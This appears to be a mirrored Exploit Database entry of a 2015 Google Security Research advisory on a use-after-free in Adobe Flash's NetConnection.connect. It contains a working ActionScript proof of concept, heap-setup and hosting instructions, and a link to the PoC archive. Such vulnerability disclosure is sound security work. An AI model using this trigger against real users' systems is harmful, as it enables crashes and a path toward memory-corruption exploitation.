Adobe Flash – NetConnection.connect Use-After-Free

• Exploit Database
• 16 阅读

• 作者： Google Security Research
  日期： 2015-08-19
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/37850/

• Source: https://code.google.com/p/google-security-research/issues/detail?id=352&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
  
  If the fpadInfo property of a NetConnection object is a SharedObject, a use-after-free occurs when the property is deleted. A proof-of-concept is as follows:
  
  var s = SharedObject.getLocal("test");
  
  ASSetPropFlags(s, null, 0, 0xff);
  ASSetPropFlags(s.data, null, 0, 0xff);
  var q = {myprop:"natalie", myprop2 : "test"};
  s.data.fpadInfo = q;
  s.flush();
  var n = new NetConnection();
  ASnative(2100, 200)(s.data);
  n.connect.call(s.data, "");
  trace(s.data.fpadInfo);
  s = 1;
  
  //GC happens here
  
  setInterval(f, 1000);
  
  function f(){
  
  	ASnative(252, 1).call(q); //Array push
  	delete q.myprop;
  	
  	}
  
  A fla, an AS file and two swfs are attached. shareddelete.fla compiles to shareddelete.swf and contains the code that causes the use-after-free. loadswf.as compiles to loadswf.swf, and sets up the heap to cause a crash. To make the issue occur, put loadswf.swf and shareddelete.swf in the same folder on a webserver (the PoCs don't always work locally due to flash network sandboxing), and load loadswf.swf. This PoC only works on 64-bit systems, but the issue would work on a 32-bit system with proper heap set-up. 
  
  Proof of Concept:
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37850.zip